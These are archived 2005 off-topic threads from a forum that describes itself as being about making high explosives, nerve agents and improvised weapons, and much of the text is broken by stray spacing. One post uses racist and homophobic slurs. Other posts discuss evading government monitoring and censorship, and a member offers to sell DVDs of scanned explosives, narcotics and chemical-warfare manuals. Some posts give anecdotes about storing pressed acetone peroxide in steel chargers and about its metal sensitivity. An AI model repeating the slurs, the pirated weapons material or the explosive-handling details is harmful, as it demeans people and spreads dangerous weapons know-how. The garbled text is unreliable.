The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > So, who on here is an English major?
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View Full Version : So, who on here is an English major?
Kamisama July 31st, 2005, 06:44 PM

Seemingly NBK2000 had told me that my English on this forum was incorrect and vulgur in such a manner that typing and capitalization was incorrect. I ask NBK, "What makes
you think that starting a sentence with 'And' makes your English correct?"
I apologize if my English doesn't suit all of you to a college level, but I do have a basic understanding of it. Somehow a part of me doesn't like this fascist crap w here all of you
desire everything perfect.
I notice that many people on this forum have used incorrect English by starting sentences with numbers and so forth. Just because I'm a member of TotSE doesn't mean you
have to put me down as if I'm one of the "Kewl" renegades that came from there.
So I ask you, "Why did you so much as have a good reason to put down my abilities to discuss on this forum on my first post?"

I am currently going back to school to get a degree in technical writing and editing. This makes me an English major. With both a chemistry degree (BS) and an English degree
(BA) under my belt my earning potential is actually greater than with a PhD in chemistry.
I am already scouting for grad schools to see if I can get a masters or PhD in English. Truth to tell if I go for a graduate degree it might just be vanity on my part (they shall call
me Dr. Jack) since I could not improve my employability much further.
I highly advise this career path, even though one may end up with positions outside of a lab. I always told myself I was not in chemistry for the money, it just happened to be a lucrative
field that paid good. W ith my s econd degree I won t even consider a job that pays under $70,000, and that is a starting salary. A PhD chemist starts at $60,000 on average. For a mere
BS in chemistry the salaries are half that.
I w as toying w ith the idea of getting a w riting degree, and I had actually decided it w as not w orth it. Then I talked to the daughter of a relatives friend who just started a technical writing
position with a salary of $100,000. I checked some job listings and was amazed at w hat was out there.
Companies either press a chemist into service as a writer, or press an English major into service as a chemist. With the chemist you get mixed results, but the English major is in
way over his head. When I told the dean of the English department that I wanted to get a technical writing degree he asked what my specialty would be. The program my
school offers requires you to minor in a related field. The propaganda paperw ork they give out recommends journalism, graphics, computer science, business, advertising,
economics, engineering, and chemistry. Apparently no one ever choose chemistry before and his jaw dropped when I told him I already am a chemist.
He said everyone chooses journalism, or graphics; typical English majors indeed. I am somew hat embarrassed about having an English degree because I am an elitist when it comes to
college majors and degrees. I have deemed many degrees unworthy and contemptible to society. As far as English degrees go technical writing is at least a challenging and useful field,
but your standard English degree, the one that 90% of English majors get, just makes them well read in American and British literature. I value science degrees quite highly, but the
liberal arts are, in my estim ation, utterly worthless. As the saying goes Yes, I have a liberal arts degree, do you want fries with that?
I dont tell people to their face that their degree is worthless, you will never get a job, and I have no respect for you. I just bite my tongue, hold it inside, and my stomach knots up a
little. While I am on my little rant I shall benefit the audience with my lis t of most worthless majors
At the very bottom of the barrel is music and religion. I know a fellow who has degree in both, or rather a combined BA in religion and music. He has never had so much as a
job offer in either field, nor has he held down a job for more than a few w eeks.
A slight step up is art and exercise physiology. Art at least has its place in advertising, but most art majors adhere to the fantasy they w ill get to draw their own art and sell it to make a
living. The reality of the situation is your art sucks, and you will draw what the corporate executives want you to draw. As for the exercise majors they have chosen perhaps the easiest
of all degrees to get. They all fancy they will end up on a pro football team, but they all end up asking do you want fries with that?
Another of the most useless degrees is African studies, or black studies. This is the one they usually recommend poor negros get in lieu of having a real degree that might get
them a job to elevate them from the ghetto. Related to black studies is w omens studies, and some larger universities even have gay/lesbian/transgender studies. If someone
knows what possible job you can get with these degrees please let me know. Chris Rock has a bit about a black history class he took (and failed). He answ ered Marin Luther
King for every question. What more do you need to know ? Oh, the blacks invented peanut butter too.
I almost forgot about theatre. If you have talent, looks, and luck you can make it big with a theatre degree. Jennifer Garner graduated in 1994 from Dennison University w ith a
degree in theatre and look at her now . I w onder how many of the other 27,000 Dennison alumni have fared. From the Dennison theatre department website:
A major in theatre is uniquely qualified to produce rational, independent, critical thinkers w ho possess a broad range of transferable skills.
Translation: Do you want fries w ith that?

The Dennis on list of majors inc ludes queer studies. I thought they didnt like to be called queer?
A s light step up, but still way down in the barrel are foreign language degrees. Being a translator sounds quite boring, unless it is for the UN . You w ont ever get a job at the UN, so it is
quite boring.
I almost forgot about art history. I know a fellow with an art history degree, and a degree in Latin. He is rich, one of the idle rich, and daddy wanted him to go to college. At least he can
say he has a degree, right? For thos e without a trust fund trying to support yours elf on an art historians salary is difficult, assuming you are among the one in ten thousand art history
majors that actually gets a job in a museum.
Then there are the philosophy majors. Honestly, what possible job can you find that would require a philosophy degree? Unless you are Kant himself job prospects are pretty
grim for philosophers. On my favorite TV show , Wonderfalls, the lead character Jaye Tyler graduated from Brown with a philosophy degree. She was in her own words
overeducated and unemployable. All that ivy league education landed her a job w orking the cash register in a souvenir shop.
Who actually hires thes e people besides fast food joints ? The business w orld, thats w ho. Businesses hire people with a degree, it does not matter what that degree is, as long as they
have one. The one saving grace of many universities is that they require you to take a diverse array of courses beyond your major. Sure they get to take physics 101
(introduction to funtime physics) w hen I had to take physics 315 (physics for scientists and engineers). Sure they are having fun cranking a Wimhurst generator in their algebra
based class when I am working on an 8 part problem that takes 45 minutes in my calculus based course.
Why not just get a business degree and be done w ith it? Because business is boring, all those numbers are boring, all that marketing is boring, all those advertisements are
boring, and all those TPS reports are boring. At least you make a living as a businessman, even though you have to sell your soul.
Now then Mr. Kamisama, this is not a place for children, or their writing habits. Proper English is not a fascist phenomenon, it is a matter of professionalism. If you are incapable of
capitalizing your Is or the beginnings of sentences, of ending a sentence w ith proper punctuation, and using a spell checker, then do you seriously expect us to believe you can safely
perform a scientific experiment, or reliably post scientific information? It comes down to credibility. The informal structure of The Forum does not necessitate perfectly edited
writing, but we do expect adherence to the fundamental laws of the English language.
I have three writing style handbooks sitting next to me at this moment. I consult them often when writing to avoid common confusions between word usage and punctuation. I
recommend such a book to anyone who w rites.
At the top of the lis t is The Elements of Style. http://ww w.amazon.com/exec/obidos/tg/ detail/-/020530902X/002-4332939-1535265?v= glance
Skean Dhu August 5th, 2005, 01:29 AM

Kamisama, while I do not hold a degree in the english language I agree with the stance of Mega, NBK and this forum on grammar/spelling. Its all about pride in your posts and
work, ( I believe NBK said something to this affect to another similarly minded fellow ) If you can't take the time to capitalize the letter 'i' when refering to yourself, then how
can we expect you to take the time to capitalize something that has a much greater impact than the trivial capitalization of the letter 'I'?
Another point, in our line of hobby, where the difference between one letter changes the molecular structure of a compound you better damn w ell take the time to proof-read
your posts. If someone uses a nitrate instead of a nitrite the consequences might be the loss of chemicals, or perhaps something more dire.
If this were a forum about soap making then grammar wouldn't be so paramount. However this is a forum about the manufacture of high explosive, nerve agents and
improvised weapons. More often than not, you don't get a second chance. If something goes wrong, you have just enough time to think 'OH, SHIT'. Just ask anyone who has
had a runaway nitration.
festergrump August 5th, 2005, 04:56 PM

Many members here simply don't like people who display laziness to the point of not holding down a shift key w hen posting in a language they proclaim to speak, read, and
write fluently and/or using proper punctuation. I am one such member.
All of the points touched on by both Mega and Skean Dhu are factual and important. Listen to them, don't simply HEAR them.
From the way your thread starting post w as presented to us I gather that you are willing to comply with what most members deem exceptable behavior. This is beneficial to
you. You might also notice that not only Administrators and Moderators will be the only personalities willing to call you on an abrupt strafe of the norm or compliance with the
rules.
Reading both the "New bies: The Forums' Unw ritten Rules... Written Down" thread presented by NBK 2000 and the "Guide For Newbies By Newbies" thread started by
Jackhammer (both stickies in the Water Cooler section) is the best advice I can give anyone who has anything to say about the action or function of the Admin and Mods here
at Roguesci, or the lashing out of members here who also find these rules and tips for survival here not only very fair, but complete (or nearly), and most neccesary for the well
being of the collective [minds of this /edit] society who call this place "home".
I am not an English major. I dropped out of high school in 1986 but still cringe w hen I hear or see the English language (either American or true English) being raped beyond
belief while nobody calls the perpetrator on his debauchery of the language. Ignorance is no guarantee of pardon, partial or full. At least not here, speaking from my slight
expirience as a member.
When in Rome, do as the Roman's do... When at this Forum, do as w e members do (leaving is also an option). Whatever you do don't whine about the way things are here if
you w ish to stay and post at this Forum. The system of order which Megalomania and NBK 2000 have put in motion has worked for several years here and does NOT need to
be 'fixed'. YOU will not be the one to make either Admin change their stance on this issue and I'll give you MY w ord on it. Trying is even a very bad idea. Pinky fricken
promise...
Best of luck to you, sincerely.
(Before any mention of my capitalization of "Forum" is made, please take note that I do this without fail when referring to the Roguesci Forum. FYI, I also capitalize "Bible" out
of habit... though there are more truths to read here than in the ancient, black novel. Admin/Mod/He/His/Him... same distinction. It's out of respect from which I do this).

Its been stated already, but I think the general consensus is: Pride.
Personally its a pet peeve of mine. Generally why I hate rap. Please don't call it english if your going to proceed to slaughter it and rape its cold corpse. One of my favorite plays
is(Of course I can't remember the name) the one where the two gentlemen make a bet about the gutter speaking british girl. They then proceed to refine her, and she goes
from being some trash on the street to being accepted as high-society.
It bothers me that the majority of the American society graduated High school at an 8th grade reading level. In 8th grade I read (I was told after I took a test) that I read post-
graduate level. 2 years ago the teacher said I was off the charts. Supposedly A.D.H.D. makes it harder for you to read, so it can't be that hard.
Take some time and put a little bit of effort into your posts. If you have a question think it out, and then give as much information as you can. Same as with the english and
proper grammar. "H3y guys, I need info on gasoline and salt with fire and such" doesn't cut it.
Just to reiterate, we all like good grammar, and proper english. If you don't like it, or the way the forum works, don't come.
Kamisama August 6th, 2005, 04:00 AM

Ah, very interesting information Mega.
I haven't considered the thought of English education as that important.
You have reminded me that a person may be good in the technical field of science, however without proof that you can explain yourself in a logical and creative way, many
companies would frow n upon the potential for someone to write up an interesting article for the company.
FU TI August 8th, 2005, 09:32 AM

The subject of this thread become little borring. If you stand a little w hile on Forums threads reading them you will see lots of people being warned about their language. It isn't
someones wish to be grammer-nazi, but need of all of us to understand the text posted no matter is it a question/answ er/opinion/data?
Mega you amazed me once more. Collecting diplomas to make rifle cartridges, aren't you;)? Just kidding. In a w ay that most people w on't understand chemistry being much
apstract field have a language of it's own that some of mine friend back in high-school called IUPAC-ian, so it isn't un-natural for a chemist to learn several languages (Nobel
was sent by his family in Russia to learn only chemistry and languages for example! - imagine who else was breaking other peoples patents like you guys do isn't it nice to be in
good company?;)).
Jacks Complete August 8th, 2005, 02:02 PM

One of my favorite plays is(Of course I can't remember the name) the one w here the tw o gentlemen make a bet about the gutter speaking british girl. They then proceed to
refine her, and she goes from being some trash on the street to being accepted as high-society.
Pygmalion/My Fair Lady?
The English have no respect for their language, and will not teach their children to speak it. They spell it so abominably that no man can teach himself w hat it sounds like.
I agree with the whole "speeling an Grammer" thing - be sharp in your mind and sharp on paper. We aren't talking about w ays to make tea here!

Yes, Pygmalion/My Fair Lady. Also later Family guy....
Futi's right, its not just one of us, its ALL of us.
zeocrash September 29th, 2005, 12:13 AM

Kamisama, i'm dyslexic and it's 10 past 4 in the morning.
I'm still writing in acceptable english despite this.
If i can manage it, so can you.
If something is worth saying, it's w orth saying in the best possible way, don't let you presentation detract from the point of your post.

If a person can not properly construct a sentence, what hope have they for properly construction an explosive device?
:p

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Blair bans certain websites!
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al93535 August 5th, 2005, 07:26 AM

I thought the water cooler was the best place to post this.
As I was watching CNN, BPM Tony Blair said that any person in the UK "frequenting certain websites and stores" m a y b e
im prisioned or deported! That is insane. I can't believe a law like that can be passed, alth ough I a m totally unfamiliar with the
process living in the US. I am really so rry for you guys in the UK. W hat are you guys going to do? How can they possibly watch
all that internet traffic?
I will bet m y balls tha t this forum , and a few others are ones that are certainly being bann ed!
I would guess a law like that cannot be passed in the US with ou r freedom of speech, and the like. However, m aybe with a
"terror" clause it can be. I can't believe I live in a time like this.
W hat do you guys think about this?
aikon August 5th, 2005, 09:18 AM

**********removed******* ***
Jacks Complete A ugus t 5t h, 2005, 02: 12 PM

Excellent! That means I get deported!
C a n I c h o o s e t h e f o r m e r p e n a l c o l o n i e s ? T h e U SA or New Zealan d, for m e, I think. :cool:
I shall await the knock!
Macgyver August 7th, 2005, 06:27 AM

Excellent! That means I get deported!
C a n I c h o o s e t h e f o r m e r p e n a l c o l o n i e s ? T h e U SA or New Zealan d, for m e, I think. :cool:
I shall await the knock!
I'm just wondering, m aybe this only applies to imm igrants, people who a re born in the UK m aybe subject to other treatm ent?

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > PeerGuardian 2
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Third_Rail August 12th, 2005, 04:05 PM

Reading thro ugh the topic on the possibility of com prom ise of the forum a n d c o m puters thereof, it m a d e m e realize that
there's a quick, sim ple way to make sure certain IPs don't get to your com puter.
PeerGuardian 2 (http://m ethlabs.org/projects/peerguardian-2-windows/) is freeware, and it works well enough to keep the RIAA
away. W ith the governm ent IP list activated, I'd wager it keeps them from easily getting a t you either.
This program m a k e s m e f e e l t h a t g e n e r a l i z e d , n o n - s p e cific searching fro m t h e s e I P s o n f o r u m s l i k e t h e s e ( g o v e r n m e n t

fishing, if you will) is less of a threat. Someone correct m e if I'm wrong, I don't want a false sense of security...
SCVirus August 13th, 2005, 11:13 PM

Peer guardian is not going to help you if they were rand o m l y g o i n g a f t e r p e o p l e u s i n g t h e s e f o r u m s, only from self proclaimed
p2p police, a nd specifically targeted law enforcement attacks/scans.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > R oguesci forbidden in
Germany?
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Saugi August 21st, 2005, 08:39 PM

The last days, everytime I tried to enter the forum, whe re cam e a window with the m e s s a g e :
" 403 Forbidden: The Server denied the specified URL..."
I did'nt use a Proxy at that time. I believe, this Page is now censored in Germ any, at least by som e internet-providers. (I use
"Arcor", by the way)
So I installed a Anonym izer, which uses anonym-Proxyservers and voila:

the pages was accessible again!
I s t h e r e a n y b o d y e l s e w h o h a d s u c h p r o b l e m s? Maybe, we should write a small tutorial, how to install Proxy-servers on a PC,

for unlimited access to this great inform ation library...
I a m searching Volum e 2 and 3 of the PDF-version from T. Urbanski's books in german. will be nice, if som e o n e c a n g i v e m e a
working link.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > How useful is N-butyl acetate?
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swartz August 24th, 2005, 05:27 PM

I recently got 10 liters of it, but now I dont know what do to with it.
All I know ab out that stuff is that it is used as solvent for paints, celluloses, resins and others and as an interm edia te for
pharmaceuticals of some kind .
Also, can anyone please tell m e if it is possible to m a k e a c e t i c a n h y d r i d e u s i n g t h a t c o m p o u n d , b e c a u s e i f o u n d e d o n n e t t h a t
m ethyl aceta te is som ehow used to m ake it (AcO2) and they are chem ically similar if I am not wrong.
Thanks for help!

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Forum archive
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thrall August 25th, 2005, 07:12 AM

I have been thinking about it since the forum first went down thanks to our DEAR FRIEND iDefence. The forum archive should
be made available soon as possible.
In fact a friend of mine ripped the forum soon after it appeared again ( I cant for bandwidth thing) but he got som ething
fucked up and the text was messy.
Recently SM forum has m ade it archive available. Concidering th e possibility of "Empire strikes back" I think an uptodate
archive downloadable through HTML should be m a d e a v a i l a b l e .
opnions?
al93535 August 25th, 2005, 08:10 AM

V e r y g o o d i d e a . T h e n a n y m e m ber could d/l it, and have the invaluable information if anything unfortunate would befall the
forum again. I would deffinately want a copy.
borax August 25th, 2005, 02:55 PM

Thrall, did your friend m ake any mention of how big the archive was?
Thanks.

How will archive be made - with some spider program available that people use for ripping other people websites? I don't know
is th a t p o s i b l e s i n c e s o m e p a g e s h a v e n ' t b e e n o p e n t o g u e s t s i n p a s t ( I d o n ' t k n o w i s i t t h e s a m e n o w ) .
How we will achieve to have htm l based download archive - using reserve web dom a i n / a d d r e s s ?
W ill it be available just for me mbers and if so, how dificult is to set userID/pswd request b efore download - I saw that on som e
e - b o o k d o w n load site s so I know it is possible?
I'm trying to be constructive. I guess that m ods already working on this, but I have to ask.
Chris The Great August 25th, 2005, 07:55 PM

If one where to m ake an archive, it should just be the posts an attachm ents, the other inform ation is not n e e d e d . A l t h o u g h
p e r h a p s p u b l i c a l l y a v a i l a b l e I M s a n d e m a i l s s h o u l d b e i n c l u d e d s o t h a t f o r u m m e m bers will still be able to com municate if the
forum does go down. I'm not sure how one would make this but I assum e whoever can access the forum database could just
m a k e a * . r a r o f t h e n e e d e d i n f o r m ation, leaving out all the parts for logins, PMs, and all that stuff....
I'm not fam iliar with the setup of how the forum software stores this information but I wou ldn't think this would be inconvienent
or difficult. Feel free to correct m e if I am m istaken in m y a s s u m ption.
It could be m a d e a m ember only download by only having the link viewable when you are logged in. If you are not logged in,
you can't see the link , so you can't download it.
thrall August 26th, 2005, 12:29 AM

Y e s C r h i s ! T h o s e w h o h a v e a c c e s s t o f o r u m d a t a b a s e f o r t h e m it's a job of not more than an hour. And of course it would be a
.rar file viewable to the MEMBERS O NLY unless m ods think otherwise.
Spid ering the forum is possible(a friend of m ine did tha t) but than one h as to go to the depth of 5 or som ething lik e t h a t a n d
even than the thigs d o g e t f u c k e d u p . H e s e n d m e t h e a r c h i v e a nd there was ENO UGH inform ation on it.
But if it's made available by the administrator it would be neat a n d c o m p lete. Moreover onece it's m a d e a v a i l a b l e t o t h e
m embers it would go to the thousand places m aking it IMPO SSIBLE to ta ke back from circulation a nd in a sence the forum
backup will be on RAID1000......hehe.

Just use a program to download the whole forum . I do it twice a day to eat the sites baud.

Just use a program to download the whole forum . I do it twice a day to eat the sites baud.
Yes, but you are a right twat who shows nothing but contem pt for these boards.
I don't download it for exactly the sam e r e a s o n .
Mega is work ing on a proper backup system for torrent distribution.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > oGame
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Anyone play the game? www.o g a m e . o r g

No I didn't play this. I'm little old fashioned. I prefer C ivilisation. I will try in next couple m onths to find out how to use FreeCiv
that comes with Knoppix to play it online. The gam e you sugested is more SF oriented which is nice since m ost m e m b e r s h e r e
are looking in the future (of E&W of course and m aking one:D). This is interesting subject since so me other thread m e n t i o n e d
strategies se ction is something forum need. I don't think they thought about this, but as simulation envirom ent it is good
enough.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > The preparatory m a n u a l o f
explosives by Jared Ledgard
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nitro-genes S e p t e m b e r 1 8th, 2005, 12:40 PM

A preview of the book is available at http://www.uvkchem .com
The book contains 121 laboratory preparations of prim aries, secondaries and com positions. Althou gh it is written for
rese archers, the book starts with an introduction about chemical principles and a tutorial about laboratory techniques.
I would be a much sa fer option for starting hob byists than that f*ckink anarchist cook.
I ' v e s e e n i t m e n t i o n e d in a co u p l e o f o t h e r t h r e a d s i n c l u d i n g o n e a b o u t t h e B o o k C l u b o n R o g u e s f t p . B u t t h e f t p d o e s n ' t s e e m
to work for m e and I haven't been able to find it on any torrent searchsite :(
D o e s a n y o n e k w o w i f t h e r e e v e n i s a p d f f o r m a t a v a i l a b l e o f t h i s b o o k ? I ' m n o t k e e n o n o rdering it m yself in these times ;)
nbk2000 September 2 2nd, 2005, 01:10 PM

I've got it, and the narcotics m anual, both on the DVDs. :)
cutefix September 2 2nd, 2005, 02:37 PM

I h a v e i n m y h a n d p r e v i o u s l y a c o p y o f t h a t b o o k a n d b y e x a m ining its contents I doubt if the formulations and pro cedures
were ever tested by the author..:p :)
TheHitMan S e p t e m b e r 2 4th, 2005, 09:41 AM

Yet another quality and useful post.
nbk2000 S e p t e m b e r 2 9th, 2005, 02:40 PM

Indeed it is, you silly twat.
It's useful in letting p eople know what'll be available so that, instead of dropping $60 or m ore on copies of just two books,
t h e y c a n u s e t h a t s a m e m o n e y and get not ONLY these two books (in O C R ' a b l e f o r m ) , b u t d o z e n s o f o t h e r s t o o . : p
Of course, if you'd rather spend that m o n e y t o g e t o n l y t w o b o o k s , t h e n s p e n d m a n y h o u r s o v e r a s c a n n e r , t o e q u a l o n l y a

fraction of what I'm offering...no one here is going to stop a fool. :p
FireFly S e p t e m b e r 2 9th, 2005, 11:47 PM

Y o u h a v e T h e P r e p a r a t o r y M a n u a l o f C hemical W arfare Agents too...don't you? Hurry up with that DVD! W e a r e h a v i n g
withdraws and we haven't even gotten a taste of it yet :p
P M O E and PMON are the only two that I have (that I remem ber), though I'll check for PMO C W . I ' v e t o o m a n y b o o k s t o k e e p
track of. A pleasant p r o b l e m t o h a v e . : )
+++++++++++++
I'm jacking your post firefly because of the problems with posting I'm having. Sorry. NBK
+++++++++++++
P M O E and PMON are the only two that I have (that I remem ber), though I'll check for PMO C W . I ' v e t o o m a n y b o o k s t o k e e p
track of. A pleasant p r o b l e m t o h a v e . : )
As for the DVDs, here 's the deal:
Two DVD's, $ 50/each. Each on e will have a num ber of books, about two dozen per, of various subjects of E&W interest, in 30 0
DPI resolutio n TIFFs suitable for OCR'ing, in B&W or Color, as re quired.
I'll send a list of the contents to a couple of long term mem bers, and let them tell the m embers here if its worth it. I'll not b e
publicly posting the list, as this would m ake the piggies job of ID'ing m e t o o e a s y , a s h o w m any other people would h a v e
checked out or interlibrary-borrowed the exact same dozens of titles as me? Hmm m ...non e?
I will tell you of the books (that I rem ember of sitting here) that I've been sent o r bought for cash, since there's no way to ID
by these:
Locks, Safes, and Security, 2n d edition, volum es one and two (h ttp://www.security.org/ The books, not the C D) (over $220
right there!)
S e v e r a l o t h e r b o o k s o n l o c k s a n d s a f e s t h a t I d o n ' t r e m ember the exact titles to right now.
Death to Dust: What happens to dead bodies. (Am azon reference here $35+)
Preparatory Manual of Narcotics and Explosives ($40 each, so $80)
C h e m icals in W ar by Prentiss (The entire ~800 page book, with color pages, not the version in the PMJB. $180 Amazon (http://
64.233.167.104/search?q=cache:4wUa UNWMaAAJ:www.powells.com /subsection/
R a r e B o o k R o o m Techn icalStore.15.htm l+%22chemicals+in +war%22+prentiss+used&hl=en']Powells Rare Books[/url])
Cocaine Handbook (over a hundred pictures illustrating the testing and p urifying cocaine alkaloids. Out of print and costing
$150 at http://www.aeroconsystems.com /literature/shaped.htm $25)
A book on a very unique weapon syste m, of wh ich there are only two orig i n a l s e x i s t a n t , o n e o f t h e m i n t h e S m i t h s o n i a n , a n d
one elsewhere. A copy of this is on my DVD and not available anywhere else at any price, so fuck you Hitm a n . : p
So there's over $750 worth of books ju st from the few that I can list and rem ember sitting here, in addition to the ones that
are out of print or not available at any price. :)
Now multiply that by two DVDs, and divide the time it'd take you to obtain the books and scan them in (over 10K pages) by the
cost of buying it from m e , a n d y o u ' r e s a v i n g a h u g e a m ount of m oney and time. If anything, I'm under-pricing it, b ut I'm not
greedy.
FireFly October 11th , 2 0 0 5 , 0 3 : 2 7 P M

The prices look good to me, just let me know when they're ready.
Alexires October 12th , 2005, 10:11 AM

I h a v e i n m y h a n d p r e v i o u s l y a c o p y o f t h a t b o o k a n d b y e x a m ining its contents I doubt if the formulations and pro cedures
were ever tested by the author..:p :)
NBK, you say you have a copy in front of you. Should I go to the effort of tracking down a copy, or are the form u l a a n d
m e t h o d s u s e l e s s a n d or m ore d a n g e r o u s t h a n t h e y n e e d t o b e ?
Thank you for your tim e.
nbk2000 October 13th , 2 0 0 5 , 0 4 : 2 5 P M

Not having the facilities to try the processes listed in the book, I can neither prove or disprove their validity.
T h e y s e e m feasible enough to me, though only actual reproduction of the processes would prove them workable.
Marvin October 13th , 2 0 0 5 , 1 1 : 5 5 P M

That is one thing that worries m e about the direction your DVDs are going in, nbk. Rather than being a distillation of the best
tried and tested methods, its just a collection o f everything you can put into it. So while its as helpful and inciteful as the best
you've includ e d , i t s a s d a n g e r o u s a n d u n s o u n d as the worst youve includ ed. What most of this frin ge literature needs is to be
beaten up until it starts telling the truth.
So far everything Ive read leads me suspect the book is not everything its cooked up to b e :D It sounds like King was pre
university, or at best at university when he wrote it, virtually nothing was actually tested, and a lot of m etho ds were taken from
patents (not the most reliable sources) and then altered to mak e them easier to do or use different m aterials.
W ere someone to work their way through it, m aking notes and pictures o n what worked and what d idn't, that would be
valuable. The 'copper fulm inate' synthesis for me is the dead giveaway of what Ive seen, I think I'm going to be ve ry
dissapointed when I finally get to read the full thing.
nbk2000 October 14th , 2 0 0 5 , 0 5 : 0 5 P M

There's the fact that, if one stopped to try and personally verify EVERY process and procedure one ever ran across, one would
have to spend:
A: A fortune on chemicals and l a b e q u i p m e n t
&
B: A lifetim e, or a significant portion thereof
I've don't have A, nor am inclined to spend B.
Now, what I have done is colle ct everything that is plausible and (seem ingly) feasible, as well as highly reputable. This doesn't
g u a r a n t e e a n y t h i n g m ore than a best effort on my part to provide quality over qu antity.
Plus, only a sm all portion of the books I've sca nned are directly E&W (bo mbs and gas). A larger portion is criminology and
social engineering, pscyh m anipulation and warfare, etc.
Kind of like a new PMJB series, only better, because it's not so d amn K3wL. :)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > APC gone soft???!!!
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me234 October 3rd, 2005, 02:05 AM

Hey, have you guys visited the APC forums lately?
W ell if not, g o do yourself a favour and visit them :
http://www.apcforum .net/
Here (read 2 lines up) for anyone who doesn't know.

Go and read their He section, particularly the thread about "Changes to the HE se ction".
I n e a r l y l a u g h e d m y ass off, then I nearly cried for those poor souls who just don't get it.
I can't believe they're wimping out of the fight like this.
Pisses me off.
Ok, fair enough, who am I to tell them what to do, I do believe in freedo m of, we ll, basically everything, and they can do what
they want. But still it's sad to lose another forum t o t h e o p i n i o n s o f t h e S h e e p l e p u b l i c , e s p e c i a l l y o n e t h a t d o e s s u c h g o o d
work. In pyro I mean, not HE and Our stuff.
So here we h ave everybody te lling each other what a great idea it is to not be like us, and they're congratulating them s e l v e s
a b o u t i t , e v e n o n e m e m b e r n a m ed KBK, who notable m akes a post in his own forum to th e effect that AP reacts with metals.
Second post down I think.
http://kbkforum.com/cgi-bin/ikonboard.cgi?;act=ST;f=6;t=41
I m ay be wrong about this, but I've ne ver had any problem with AP and m etal contact, unless he's referring to non-neutralised
AP, which could be a different story.
Forg ive m e f o r b e i n g j u d g e m ental, but I have a hard time accep ting one's opinion when one gets rudim entary facts mixed u p.
I just can't accept the narrow m indedness, the sheer weakness of character that causes them to deny people the right to talk
about whatever the fuck they please, sim ply because th ey feel a bit uncomfortable about m a y b e b eing shu t down for a while.
W e were, and we SUR VIVED YOU DICKHEADS. and we're back cooking up even better ideas.
So fuck you Idefens/ce.
A n d I a m so disappointed in you guys there (the ones that agree with this m ove).
They were even talking about doing something like this when we went do wn that first time, and I couldn't believe my eyes
when I read how cowardly they all were over there. I just wished I had registered so I could let m y feelings be known.
Shit, I'm done rambling. For now

P.S. I didn't m ean to pick on KBK that much, I was just using him as an exam ple.
xyz October 4th, 2005, 06:28 AM

SW IM has noticed that AP corrodes ste el, even when properly ne utralised , but it takes days at least for any noticeable amou nt
of corrosion to occur.
To cut a long story short, acco rding to SW I M , s o m e steel CO2 chargers that had been filled with pressed AP and forgotten
about for a week had a noticeable rusting of the edges and reddish discoloration of the th in layer of AP in direct contact with
the steel.
SW IM says h e has not seen this happen with copper in the sam e conditions, but does not want to speculate about whther AP
would or wouldn't corrode copper given m ore time.

It m ay just b e regular rust, as AP is prone to sucking in water.
As to what difference a little rust make s to the AP, I have no clue. Generally metal contam ination is bad with explosives, as it
increases the sensitivity.
Guerilla October 4th, 2005, 10:50 AM

H e h , a p i s n o t h y g r o s c o p i c . . . A P a s a n o r g a n i c p e r o x i d e d o e s o x i d i z e m o s t m etals, if you m i x e q u a l a m o u n ts of it and say
alum inum powder you see it can happen quite fast too. Though I'd think it's not that severe an issue (as o p p o s e d t o H M T D
whose decom position is auto catalyzed by all but noble metals) with an alum inum tube where a protective oxide layer is
form ed to prevent further oxidation (dont see the point to take the risk in the first place though).
As regards to the censoring th ing, agreed. It's sad to see how easily so many people are willing to give up. Though from m y
o b s e r v a t i o n s m a n y o f t h e s e g u y s w h o d e f e n d t h e c e n s o rship of practical applications... are those who either don't have a
chance to practice the hobby in full sca le (for lo cational or whatever reasons) or were never too serious about it in the first
place.. and there's nothing ba d in that, by no means..but denying this possibility from others is just hypocritical, IMHO . Of
course the line of tolerance has got to be drawn som e w h e r e , b a s i c s d o n ' t n e e d t o b e d i s c u s s e d a g a i n .
I'm glad at least The E&W Forum k e e p s u p t h e r e s i s t a n c e . T h o u g h t h e l o s s e s o f v a l u a b l e m e m bers for various reasons over
the course of tim e a n d the current problems The Forum is going through are pretty annoying.. I also think the topics used to
b e m o r e i n t e resting, m ore actual discu ssion on practical applications of e &w and chemistry, less speculation and the orizing..but
oh well, maybe it's just m e..and a lot of this is due to the fact that so m any thing s have a lready been covered in earlier
discussions, anyway..
al93535 October 6th, 2005, 04:27 AM

I a m over at the APC quite a bit. I think its a good thing not talking about "how much ap do I need for..." questions anym ore.
It gets old. You can still talk quite a bit about explosive s. Synthesis, test results, sensitivity, help on issues (non-ap or anxx
though), You can post video's and pictures as well. Everyone here sure doesn't like a new thread every week about questions
that have already been answe red. Plus if you are really into HE's you sho uld be on this board too. The information here is
great! Just like for pyro, APC is excelle nt!
me234 October 12th , 2005, 03:37 AM

I once (stupidly) kept an ~50g charge of 25:75 APPN with a few % Al powder mixed into it for several m o n t h s , I I R C , i n a
fridge. There was absolutely n o noticeable change with anything over the m o n t h s . T h e A l s e e m e d q u i t e h a p p y t o b e m ixed with
the AP and left there for as long as the AP didn't evaporate.
Guerilla: wha t ' s a n o b l e m e t a l ?
al93 535: I understand that you guys are a little bit pissed about all your repeated topics, but if you allow the kewls to take
a d v a n t a g e o f y o u t h e y're goin g to. Wh at bugs m e is that you guys are doing it, well at least some are, because the y are
afraid. If you wanted to shift your colle ctive focus back to m ore pyro applications, that'd be cool m a n , I ' d c o m p l e t e l y
understand that, hell it's downright rea sonable. But the im pression I'm getting is that the board mods are scared of getting
shut down, that's why they want to end all practical discussions, not just the 'how-m u c h - A P - d o - I - n e e d - t o - k i l l - m y - e x ' s - d o g '
questions.
A l s o , o n e m ember, I ca't rem e m ber which one said that the APC was more about chem istry. Nothing prsonal, but no. MSDB is
chemistry, we're a bit chemistry, you guys are a lot less chem than MSDB, they're basically THE chemistry place. Pyro however
is where you guys rule and kick ass. I've yet to see any really chemistry m e n t i o n e d o n t h e A P C , no Molecular Orbita l Theory,
n o p l a s m oid generation, nothing like what's on the MSDB (or is it SMDB now?).
I just hope I'm wrong and the change isn't actually because of the threat of being shut do wn.

